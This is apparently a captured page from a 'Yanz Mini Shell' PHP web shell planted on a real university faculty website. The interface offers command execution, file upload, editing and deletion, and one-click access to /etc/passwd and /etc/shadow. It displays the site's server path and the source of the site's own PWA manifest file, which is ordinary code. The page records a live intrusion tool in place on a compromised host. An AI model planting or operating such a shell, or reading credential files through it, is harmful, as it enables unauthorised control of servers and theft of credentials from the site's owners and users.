Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // manifest.php - PWA manifest dinamis dari settings (graceful fallback) require_once __DIR__ . '/config/config.php'; require_once __DIR__ . '/includes/functions.php'; header('Content-Type: application/manifest+json'); // Helper inline: ambil setting dengan fallback aman $get_setting = function($key, $default = '') use ($conn) { if (!isset($conn) || !$conn) return $default; $stmt = @$conn->prepare("SELECT setting_value FROM settings WHERE setting_key = ?"); if (!$stmt) return $default; $stmt->bind_param('s', $key); $stmt->execute(); $r = $stmt->get_result(); if (!$r || $r->num_rows === 0) { $stmt->close(); return $default; } $row = $r->fetch_assoc(); $stmt->close(); return $row['setting_value'] ?? $default; }; $name = $get_setting('site_name', 'Fakultas Sains UNCP'); $desc = $get_setting('meta_description', 'Fakultas Sains Universitas Cokroaminoto Palopo'); $short = $get_setting('pwa_short_name', 'FSAINS'); $color = $get_setting('pwa_theme_color', '#00bfff'); $logo = $get_setting('site_logo', 'cokro.png'); $manifest = [ 'name' => $name, 'short_name' => $short, 'description' => $desc, 'start_url' => $base_url . '/', 'scope' => $base_url . '/', 'display' => 'standalone', 'background_color' => '#ffffff', 'theme_color' => $color, 'orientation' => 'portrait-primary', 'lang' => 'id-ID', 'icons' => [ [ 'src' => $base_url . '/assets/images/' . $logo, 'sizes' => '192x192', 'type' => 'image/png', 'purpose' => 'any' ], [ 'src' => $base_url . '/assets/images/' . $logo, 'sizes' => '512x512', 'type' => 'image/png', 'purpose' => 'any maskable' ], ], 'shortcuts' => [ [ 'name' => 'Berita Terbaru', 'short_name' => 'Berita', 'url' => $base_url . '/pages/berita.php', 'icons' => [['src' => $base_url . '/assets/images/' . $logo, 'sizes' => '96x96']], ], [ 'name' => 'Daftar Dosen', 'short_name' => 'Dosen', 'url' => $base_url . '/pages/daftar-dosen.php', 'icons' => [['src' => $base_url . '/assets/images/' . $logo, 'sizes' => '96x96']], ], [ 'name' => 'Kontak', 'short_name' => 'Kontak', 'url' => $base_url . '/pages/kontak.php', 'icons' => [['src' => $base_url . '/assets/images/' . $logo, 'sizes' => '96x96']], ], ], ]; echo json_encode($manifest, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
Free Space : 55488016384 Byte